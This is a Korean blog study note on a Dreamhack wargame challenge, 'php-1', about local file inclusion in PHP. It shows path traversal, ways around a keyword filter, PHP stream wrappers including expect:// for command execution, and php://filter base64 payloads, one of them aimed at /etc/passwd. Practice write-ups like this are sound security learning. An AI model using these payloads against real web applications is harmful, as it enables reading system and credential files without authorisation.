php-1

file=../uploads/flag.php

위를 입력하면 되는데 flag가 필터링된다 

 

정규식 공부를 해보자 

일단 여기에서 쓰인 건 /flag|:/i인데 

flag|:는 flag와 : 중에서 하나를 찾는다는 의미이다. 

i는 대소문자 구분하지 않고 검색한다는 뜻이다 

flag, FLAG, Flag 모두 포함

 

그렇다면 스트링 우회 기법을 써보자 

https://dolcevie.com/js/converter.html

 

Hex/Ascii Converter

Hex: 41:6e:74:6f:6e:20:69:73:20:67:72:65:61:74:20:3a:29

dolcevie.com

 

char(0x666c6167)

0x666c6167

%66lag.php

 

i 옵션 우회는 모르겠고 m 옵션은 개행 대신 ; 써주면 된다고 한다 공백은 $IFS 

 

이 필터링 우회는 view 페이지가 아닌 ?page로 값을 넘겨줘야 한다. 

?page=/var/www/uploads/flag.php

가 안되길래 마지막 확장자 제거 Can you see $flag?라고 뜸 

 

 

LFI 취약점에 대해 더 공부해야 한다. 

서버 측 script 언어에서 발생하는 취약점 -> 애플리케이션의 입력 검증 부족

php에서는 include 사용하면 input에 대한 필터링 존재하지 않아서 발생

 

 

php wrapper를 활용해서 공격할 수 있다고 함 

file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams

expect, php://filter/, zip://을 주로 쓴다 

1. expect:// 

system command 실행시킴 

2. php://filter/

www.[웹사이트주소]/?file=php://filter/convert.base64-encode/resource=

위를 입력하면 인코딩 파일 얻을 수 있음 

3. zip:// 

zip 파일 압출을 풀고 파일 안 코드 실행시킴 

 

 

www.[우리가 공격할 웹 사이트의 주소].index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd

이렇게 쓸 수 있다고 함 

 

?page=php://filter/convert.base64-encode/resource= /var/www/uploads/flag.php

 

https://gchq.github.io/CyberChef/

'wargame > dreamhack' 카테고리의 다른 글

simple_sqli  (0) 2025.04.28
devtools-sources  (0) 2025.04.25
Textbook-DSA2  (0) 2025.04.23
simple-ssti  (0) 2025.04.22
safeprime  (0) 2025.04.22